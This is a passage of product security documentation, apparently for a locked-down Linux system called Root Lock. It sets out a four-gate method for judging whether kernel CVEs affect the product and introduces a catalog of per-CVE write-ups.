Every entry in this catalog was verified source-first. No assumptions were made about what is compiled in, and no scanner output was taken at face value. The assessment follows four gates in order:

Gate 1 — Is the vulnerable code compiled in? The Root Lock kernel configuration is checked directly against the relevant CONFIG_ option. If the option is not set, the vulnerable code does not exist in the running kernel. The assessment stops here as Not Affected regardless of kernel version string.

Gate 2 — Does Root Lock’s outbound connection control cover the attack path? For socket-based CVEs, Root Lock intercepts outbound connect() calls only. Attack paths that reach the kernel through socket creation, sendmsg, recvmsg, or kernel-internal crypto interfaces are not covered by this control and are noted accordingly.

Gate 3 — Can an exploit program run? Under Lockdown, the program allowlist is made filesystem-immutable. No new program entries can be added. An attacker-dropped exploit program has no allowlist entry and cannot execute. This gate does not apply to CVEs exploitable from within an already-running, allowlisted process.

Gate 4 — What can root actually do under Lockdown? When a CVE achieves root privilege, Lockdown applies a further constraint. The kernel refuses to clear filesystem immutable flags (chattr -i is blocked at the syscall level). All three mount syscall variants are blocked. Clearing Lockdown takes a reboot from physical or serial-console access onto the maintenance kernel. SSH is not enough. Seal and control integrity are product contracts on the pin you run.

The two residual risks that Lockdown does not close are in-memory data exfiltration (reading live process memory) and availability impact (crashing the system). These are noted in affected entries where relevant.

14.1 - Compiled-in CVEs — what each score means

Overview: Per-CVE write-ups for paths that exist in a Root Lock kernel. A 0.0 score means the trigger is absent on this deployment (hardware, tool, or config). A non-zero score is a live residual.

Read How to read the backstop sections on the Kernel Security Transparency landing before the entries. Compiled-out groups are on Not Affected — Disabled Features.